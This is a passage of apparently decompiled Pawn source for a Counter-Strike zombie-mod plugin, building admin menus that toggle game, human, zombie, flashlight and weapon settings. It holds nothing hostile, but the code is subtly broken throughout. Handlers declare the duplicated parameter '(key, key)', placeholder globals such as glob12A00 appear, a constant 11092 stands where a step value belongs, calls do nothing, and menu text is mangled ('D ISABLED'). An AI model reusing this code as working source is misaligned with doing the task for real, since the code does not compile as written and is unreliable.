var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\y Settings changed here will not save in the cfg file!");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Global Settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Humans Settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Zombies Settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Custom Flashlight Settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Weapon Menu Settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Force Player Menu");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\\w0. Exit");
keys = 575;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_cmds(key, key)
{
switch(key) {
case 0:
admin_menu_global(key);
case 1:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = 0;
admin_menu_humans(key);
case 2:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = 0;
admin_menu_zombies(key);
case 3:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = 0;
admin_menu_flashlight(key);
case 4:
admin_menu_weapons(key);
case 5:
CurrentMenu[key] = 1;
admin_menu_force(key);
case 9:
return 1;
}
return 1;
}
public admin_menu_global(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Global]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
if(!get_pcvar_num(zmod_enabled))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Zombie Mod Infection \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Zombie Mod Infection \\R\\yENABLED");
}
if(!get_pcvar_num(zmod_lightning))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Lightning \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Lightning \\R\\yENABLED");
}
if(!get_pcvar_num(zmod_autorestart))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Auto Restart \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Auto Restart \\R\\yENABLED");
}
if(!get_pcvar_num(zmod_specinfo))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Spectator Info \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Spectator Info \\R\\yENABLED");
}
new var1[33];
get_pcvar_string(zmod_lightstyle, var1, 32);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Light Style \\R\\yType %s", var1);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Load .cfg file settings");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 831;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_global_cmds(key, key)
{
switch(key) {
case 0:
if(!get_pcvar_num(zmod_enabled))
{
client_cmd(key, "amx_zmod 1");
}
else
{
client_cmd(key, "amx_zmod 0");
}
set_task(0.2, "admin_menu_global", key, globD1F0, 0, globD1F4, 0);
return 1;
case 1:
if(!get_pcvar_num(zmod_lightning))
{
set_pcvar_num(zmod_lightning, 1);
}
else
{
set_pcvar_num(zmod_lightning, 0);
}
case 2:
if(!get_pcvar_num(zmod_autorestart))
{
set_pcvar_num(zmod_autorestart, 1);
}
else
{
set_pcvar_num(zmod_autorestart, 0);
}
case 3:
if(!get_pcvar_num(zmod_specinfo))
{
set_pcvar_num(zmod_specinfo, 1);
}
else
{
set_pcvar_num(zmod_specinfo, 0);
}
case 4:
new var0[33];
get_pcvar_string(zmod_lightstyle, var0, 32);
if(equali(var0, "a", 0))
{
client_cmd(key, "amx_zmod_lights b");
}
else if(equali(var0, "b", 0))
{
client_cmd(key, "amx_zmod_lights c");
}
else if(equali(var0, "c", 0))
{
client_cmd(key, "amx_zmod_lights d");
}
else if(equali(var0, "d", 0))
{
client_cmd(key, "amx_zmod_lights e");
}
else if(equali(var0, "e", 0))
{
client_cmd(key, "amx_zmod_lights f");
}
else if(equali(var0, "f", 0))
{
client_cmd(key, "amx_zmod_lights g");
}
else if(equali(var0, "g", 0))
{
client_cmd(key, "amx_zmod_lights h");
}
else if(equali(var0, "h", 0))
{
client_cmd(key, "amx_zmod_lights i");
}
else if(equali(var0, "i", 0))
{
client_cmd(key, "amx_zmod_lights j");
}
else if(equali(var0, "j", 0))
{
client_cmd(key, "amx_zmod_lights k");
}
else if(equali(var0, "k", 0))
{
client_cmd(key, "amx_zmod_lights l");
}
else if(equali(var0, "l", 0))
{
client_cmd(key, "amx_zmod_lights m");
}
else if(equali(var0, "m", 0))
{
client_cmd(key, "amx_zmod_lights a");
}
set_task(0.2, "admin_menu_global", key, globD1F0, 0, globD1F4, 0);
return 1;
case 5:
zmod_exec_cfg();
case 8:
zmod_admin_menu(key);
return 1;
case 9:
return 1;
}
admin_menu_global(key);
return 1;
}
public admin_menu_humans(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Humans]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
if(!get_pcvar_num(human_clip))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Buy Extra Ammo Anytime \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Buy Extra Ammo Anytime \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_menu)) {
case 0:
get_pcvar_num(human_weapon_menu);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Custom Weapon Menu \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Custom Weapon Menu \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Custom Weapon Menu \\R\\ySTR IP");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Cost per clip \\R\\y$%d", get_pcvar_num(human_clip_cost));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Last Human Health \\R\\y%d", get_pcvar_num(human_last_health));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Health \\R\\y%d", get_pcvar_num(human_health));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Run Speed \\R\\y%d", get_pcvar_num(human_speed));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w8. Change values by \\r%d", 11092);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 959;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_humans_cmds(key, key)
{
switch(key) {
case 0:
if(!get_pcvar_num(human_clip))
{
set_pcvar_num(human_clip, 1);
}
else
{
set_pcvar_num(human_clip, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_menu)) {
case 0:
get_pcvar_num(human_weapon_menu);
set_pcvar_num(human_weapon_menu, 1);
server_cmd("amx_restrict on usp glock deagle p228 elites fn57 m3 xm1014 mp5 tmp p90 mac10 ump45 ak47 galil famas sg552 m4a1 aug scout awp g3sg1 sg550 m249 vest vesthelm flash hegren sgren defuser nvgs shield");
case 1:
set_pcvar_num(human_weapon_menu, 2);
server_cmd("amx_restrict on usp glock deagle p228 elites fn57 m3 xm1014 mp5 tmp p90 mac10 ump45 ak47 galil famas sg552 m4a1 aug scout awp g3sg1 sg550 m249 vest vesthelm flash hegren sgren defuser nvgs shield");
case 2:
set_pcvar_num(human_weapon_menu, 0);
server_cmd("amx_restrict off usp glock deagle p228 elites fn57 m3 xm1014 mp5 tmp p90 mac10 ump45 ak47 galil famas sg552 m4a1 aug scout awp g3sg1 sg550 m249 vest vesthelm flash hegren sgren defuser nvgs shield primammo secammo");
}
case 2:
new var0 = get_pcvar_num(human_clip_cost) + g_MenuAddSubNum;
if(var0 > 16000)
{
set_pcvar_num(human_clip_cost, 16000);
}
else if(var0 < 1)
{
set_pcvar_num(human_clip_cost, 1);
}
else
{
set_pcvar_num(human_clip_cost, var0);
}
case 3:
new var0 = get_pcvar_num(human_last_health) + g_MenuAddSubNum;
if(var0 < 1)
{
set_pcvar_num(human_last_health, 1);
}
else
{
set_pcvar_num(human_last_health, var0);
}
case 4:
new var0 = get_pcvar_num(human_health) + g_MenuAddSubNum;
if(var0 < 1)
{
set_pcvar_num(human_health, 1);
}
else
{
set_pcvar_num(human_health, var0);
}
case 5:
new var0 = get_pcvar_num(human_speed) + g_MenuAddSubNum;
if(var0 > 1000)
{
set_pcvar_num(human_speed, 1000);
}
else if(var0 < 1)
{
set_pcvar_num(human_speed, 1);
}
else
{
set_pcvar_num(human_speed, var0);
}
case 7:
switch(g_MenuAddSubLoc) {
case 0:
g_MenuAddSubNum = 10;
case 1:
g_MenuAddSubNum = 100;
case 2:
g_MenuAddSubNum = 250;
case 3:
g_MenuAddSubNum = 500;
case 4:
g_MenuAddSubNum = -10;
case 5:
g_MenuAddSubNum = -100;
case 6:
g_MenuAddSubNum = -250;
case 7:
g_MenuAddSubNum = -500;
case 8:
g_MenuAddSubNum = -1;
case 9:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = -1;
}
g_MenuAddSubLoc++;
case 8:
zmod_admin_menu(key);
return 1;
case 9:
return 1;
}
admin_menu_humans(key);
return 1;
}
public admin_menu_zombies(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Zombies]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
if(!get_pcvar_num(zombie_first_footsteps))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. First Zombie Footsteps \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. First Zombie Footsteps \\R\\yENABLED");
}
if(!get_pcvar_num(zombie_footsteps))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Zombie Footsteps \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Zombie Footsteps \\R\\yENABLED");
}
switch(get_pcvar_num(zombie_infect_deathmsg)) {
case 0:
get_pcvar_num(zombie_infect_deathmsg);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Infection Death Message \\R\\rType 0");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Infection Death Message \\R\\yType 1");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Infection Death Message \\R\\wType 2");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. First Zombie Health \\R\\y%d", get_pcvar_num(zombie_fhealth));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Health \\R\\y%d", get_pcvar_num(zombie_health));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Brain Eating Health \\R\\y%d", get_pcvar_num(zombie_bhealth));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. Run Speed \\R\\y%d", get_pcvar_num(zombie_speed));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w8. Change values by \\r%d", 11092);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 1023;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_zombies_cmds(key, key)
{
switch(key) {
case 0:
if(!get_pcvar_num(zombie_first_footsteps))
{
set_pcvar_num(zombie_first_footsteps, 1);
}
else
{
set_pcvar_num(zombie_first_footsteps, 0);
}
case 1:
if(!get_pcvar_num(zombie_footsteps))
{
set_pcvar_num(zombie_footsteps, 1);
}
else
{
set_pcvar_num(zombie_footsteps, 0);
}
case 2:
switch(get_pcvar_num(zombie_infect_deathmsg)) {
case 0:
get_pcvar_num(zombie_infect_deathmsg);
set_pcvar_num(zombie_infect_deathmsg, 1);
case 1:
set_pcvar_num(zombie_infect_deathmsg, 2);
case 2:
set_pcvar_num(zombie_infect_deathmsg, 0);
}
case 3:
new var0 = get_pcvar_num(zombie_fhealth) + g_MenuAddSubNum;
if(var0 < 1)
{
set_pcvar_num(zombie_fhealth, 1);
}
else
{
set_pcvar_num(zombie_fhealth, var0);
}
case 4:
new var0 = get_pcvar_num(zombie_health) + g_MenuAddSubNum;
if(var0 < 1)
{
set_pcvar_num(zombie_health, 1);
}
else
{
set_pcvar_num(zombie_health, var0);
}
case 5:
new var0 = get_pcvar_num(zombie_bhealth) + g_MenuAddSubNum;
if(var0 < 1)
{
set_pcvar_num(zombie_bhealth, 1);
}
else
{
set_pcvar_num(zombie_bhealth, var0);
}
case 6:
new var0 = get_pcvar_num(zombie_speed) + g_MenuAddSubNum;
if(var0 > 1000)
{
set_pcvar_num(zombie_speed, 1000);
}
else if(var0 < 1)
{
set_pcvar_num(zombie_speed, 1);
}
else
{
set_pcvar_num(zombie_speed, var0);
}
case 7:
switch(g_MenuAddSubLoc) {
case 0:
g_MenuAddSubNum = 10;
case 1:
g_MenuAddSubNum = 100;
case 2:
g_MenuAddSubNum = 250;
case 3:
g_MenuAddSubNum = 500;
case 4:
g_MenuAddSubNum = -10;
case 5:
g_MenuAddSubNum = -100;
case 6:
g_MenuAddSubNum = -250;
case 7:
g_MenuAddSubNum = -500;
case 8:
g_MenuAddSubNum = -1;
case 9:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = -1;
}
g_MenuAddSubLoc++;
case 8:
zmod_admin_menu(key);
return 1;
case 9:
return 1;
}
admin_menu_zombies(key);
return 1;
}
public admin_menu_flashlight(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[FlashLight]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
if(!get_pcvar_num(human_FlashlightE))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Custom Flashlight \\R\\rD ISABLED");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Custom Flashlight \\R\\yENABLED");
}
if(!get_pcvar_num(human_FlashlightT))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Type \\R\\rType 0");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Type \\R\\yType 1");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Red \\R\\y%d", get_pcvar_num(human_FlashlightR));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Green \\R\\y%d", get_pcvar_num(human_FlashlightG));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Blue \\R\\y%d", get_pcvar_num(human_FlashlightB));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Size \\R\\y%d", get_pcvar_num(human_FlashlightS));
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w8. Change values by \\r%d", 11092);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 959;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_flashlight_cmds(key, key)
{
switch(key) {
case 0:
if(!get_pcvar_num(human_FlashlightE))
{
set_pcvar_num(human_FlashlightE, 1);
}
else
{
set_pcvar_num(human_FlashlightE, 0);
}
case 1:
if(!get_pcvar_num(human_FlashlightT))
{
set_pcvar_num(human_FlashlightT, 1);
server_cmd("mp_flashlight 1");
}
else
{
set_pcvar_num(human_FlashlightT, 0);
}
case 2:
new var0 = get_pcvar_num(human_FlashlightR) + g_MenuAddSubNum;
if(var0 > 255)
{
set_pcvar_num(human_FlashlightR, 255);
}
else if(0 > var0)
{
set_pcvar_num(human_FlashlightR, 0);
}
else
{
set_pcvar_num(human_FlashlightR, var0);
}
case 3:
new var0 = get_pcvar_num(human_FlashlightG) + g_MenuAddSubNum;
if(var0 > 255)
{
set_pcvar_num(human_FlashlightG, 255);
}
else if(0 > var0)
{
set_pcvar_num(human_FlashlightG, 0);
}
else
{
set_pcvar_num(human_FlashlightG, var0);
}
case 4:
new var0 = get_pcvar_num(human_FlashlightB) + g_MenuAddSubNum;
if(var0 > 255)
{
set_pcvar_num(human_FlashlightB, 255);
}
else if(0 > var0)
{
set_pcvar_num(human_FlashlightB, 0);
}
else
{
set_pcvar_num(human_FlashlightB, var0);
}
case 5:
new var0 = get_pcvar_num(human_FlashlightS) + g_MenuAddSubNum;
if(var0 > 255)
{
set_pcvar_num(human_FlashlightS, 255);
}
else if(var0 < 1)
{
set_pcvar_num(human_FlashlightS, 1);
}
else
{
set_pcvar_num(human_FlashlightS, var0);
}
case 7:
switch(g_MenuAddSubLoc) {
case 0:
g_MenuAddSubNum = 5;
case 1:
g_MenuAddSubNum = 10;
case 2:
g_MenuAddSubNum = 15;
case 3:
g_MenuAddSubNum = 50;
case 4:
g_MenuAddSubNum = -1;
case 5:
g_MenuAddSubNum = -5;
case 6:
g_MenuAddSubNum = -10;
case 7:
g_MenuAddSubNum = -15;
case 8:
g_MenuAddSubNum = -50;
case 9:
g_MenuAddSubNum = 1;
g_MenuAddSubLoc = -1;
}
g_MenuAddSubLoc++;
case 8:
zmod_admin_menu(key);
return 1;
case 9:
return 1;
}
admin_menu_flashlight(key);
return 1;
}
public admin_menu_weapons(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Weapons]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
if(!get_pcvar_num(human_weapon_names))
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Weapon Menu Names \\R\\rType 0");
}
else
{
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Weapon Menu Names \\R\\yType 1");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Shotguns");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. SMGs");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. Rifles");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Sniper Rifles");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Auto Sniper Rifles");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. Pistols");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w8. Gernades");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 1023;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_cmds(key, key)
{
switch(key) {
case 0:
if(!get_pcvar_num(human_weapon_names))
{
set_pcvar_num(human_weapon_names, 1);
}
else
{
set_pcvar_num(human_weapon_names, 0);
}
admin_menu_weapons(key);
case 1:
admin_menu_weapons_shotguns(key);
case 2:
admin_menu_weapons_smgs(key);
case 3:
admin_menu_weapons_rifles(key);
case 4:
admin_menu_weapons_sniper(key);
case 5:
admin_menu_weapons_asniper(key);
case 6:
admin_menu_weapons_pistols(key);
case 7:
admin_menu_weapons_gernades(key);
case 8:
zmod_admin_menu(key);
return 1;
case 9:
return 1;
}
return 1;
}
public admin_menu_weapons_shotguns(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Shotguns]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_shotguns)) {
case 0:
get_pcvar_num(human_weapon_shotguns);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. ShotGuns \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. ShotGuns \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. ShotGuns \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_m3)) {
case 0:
get_pcvar_num(human_weapon_m3);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Leone 12 Gauge Super \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Leone 12 Gauge Super \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_xm1014)) {
case 0:
get_pcvar_num(human_weapon_xm1014);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Leone YG1265 Auto Shotgun \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Leone YG1265 Auto Shotgun \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 775;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_shotguns_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_shotguns)) {
case 0:
get_pcvar_num(human_weapon_shotguns);
set_pcvar_num(human_weapon_shotguns, 1);
case 1:
set_pcvar_num(human_weapon_shotguns, 2);
case 2:
set_pcvar_num(human_weapon_shotguns, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_m3)) {
case 0:
get_pcvar_num(human_weapon_m3);
set_pcvar_num(human_weapon_m3, 1);
case 1:
set_pcvar_num(human_weapon_m3, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_xm1014)) {
case 0:
get_pcvar_num(human_weapon_xm1014);
set_pcvar_num(human_weapon_xm1014, 1);
case 1:
set_pcvar_num(human_weapon_xm1014, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_shotguns(key);
return 1;
}
public admin_menu_weapons_smgs(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[SMGs]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_smgs)) {
case 0:
get_pcvar_num(human_weapon_smgs);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. SMGs \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. SMGs \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. SMGs \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_tmp)) {
case 0:
get_pcvar_num(human_weapon_tmp);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Schmidt Machine Pistol \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Schmidt Machine Pistol \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_mac10)) {
case 0:
get_pcvar_num(human_weapon_mac10);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Ingram Mac-10 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. Ingram Mac-10 \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_mp5navy)) {
case 0:
get_pcvar_num(human_weapon_mp5navy);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. KM Sub-Machine Gun \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. KM Sub-Machine Gun \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_p90)) {
case 0:
get_pcvar_num(human_weapon_p90);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. ES C90 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. ES C90 \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_ump45)) {
case 0:
get_pcvar_num(human_weapon_ump45);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. KM UMP45 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. KM UMP45 \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 831;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_smgs_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_smgs)) {
case 0:
get_pcvar_num(human_weapon_smgs);
set_pcvar_num(human_weapon_smgs, 1);
case 1:
set_pcvar_num(human_weapon_smgs, 2);
case 2:
set_pcvar_num(human_weapon_smgs, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_tmp)) {
case 0:
get_pcvar_num(human_weapon_tmp);
set_pcvar_num(human_weapon_tmp, 1);
case 1:
set_pcvar_num(human_weapon_tmp, 0);
}
case 2:
switch(get_pcvar_num(human_weapon_mac10)) {
case 0:
get_pcvar_num(human_weapon_mac10);
set_pcvar_num(human_weapon_mac10, 1);
case 1:
set_pcvar_num(human_weapon_mac10, 0);
}
case 3:
switch(get_pcvar_num(human_weapon_mp5navy)) {
case 0:
get_pcvar_num(human_weapon_mp5navy);
set_pcvar_num(human_weapon_mp5navy, 1);
case 1:
set_pcvar_num(human_weapon_mp5navy, 0);
}
case 4:
switch(get_pcvar_num(human_weapon_p90)) {
case 0:
get_pcvar_num(human_weapon_p90);
set_pcvar_num(human_weapon_p90, 1);
case 1:
set_pcvar_num(human_weapon_p90, 0);
}
case 5:
switch(get_pcvar_num(human_weapon_ump45)) {
case 0:
get_pcvar_num(human_weapon_ump45);
set_pcvar_num(human_weapon_ump45, 1);
case 1:
set_pcvar_num(human_weapon_ump45, 0);
}
case 8:
admin_menu_weapons(key);
return 1;
case 9:
return 1;
}
admin_menu_weapons_smgs(key);
return 1;
}
public admin_menu_weapons_rifles(id)
{
new var0 = format(szMenuBody, 1023, "\\yZombie Mod Infection Admin Menu \\r[Rifles]\\y:\n");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\yCommand \\RCu rren t S ta tu s");
switch(get_pcvar_num(human_weapon_rifles)) {
case 0:
get_pcvar_num(human_weapon_rifles);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Rifles \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Rifles \\R\\yENABLED");
case 2:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w1. Rifles \\R\\yCU STOM");
}
switch(get_pcvar_num(human_weapon_famas)) {
case 0:
get_pcvar_num(human_weapon_famas);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Clarion 5.56 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w2. Clarion 5.56 \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_galil)) {
case 0:
get_pcvar_num(human_weapon_galil);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. IDF Defender \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w3. IDF Defender \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_ak47)) {
case 0:
get_pcvar_num(human_weapon_ak47);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. CV-47 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w4. CV-47 \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_m4a1)) {
case 0:
get_pcvar_num(human_weapon_m4a1);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Maverick M4A1 Carbine \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w5. Maverick M4A1 Carbine \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_sg552)) {
case 0:
get_pcvar_num(human_weapon_sg552);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Krieg 552 \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w6. Krieg 552 \\R\\yENABLED");
}
switch(get_pcvar_num(human_weapon_aug)) {
case 0:
get_pcvar_num(human_weapon_aug);
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. Bullpup \\R\\rD ISABLED");
case 1:
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w7. Bullpup \\R\\yENABLED");
}
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\n\n\\w9. Back");
var0 = var0 + format(szMenuBody, 1023 - var0, "\n\\w0. Exit");
keys = 895;
show_menu(id, keys, szMenuBody, -1, glob12A00);
return 0;
}
public admin_menu_weapon_rifles_cmds(key, key)
{
switch(key) {
case 0:
switch(get_pcvar_num(human_weapon_rifles)) {
case 0:
get_pcvar_num(human_weapon_rifles);
set_pcvar_num(human_weapon_rifles, 1);
case 1:
set_pcvar_num(human_weapon_rifles, 2);
case 2:
set_pcvar_num(human_weapon_rifles, 0);
}
case 1:
switch(get_pcvar_num(human_weapon_famas)) {
case 0:
get_pcvar_num(human_weapon_famas);
set_pcvar_num(human_weapon_famas, 1);
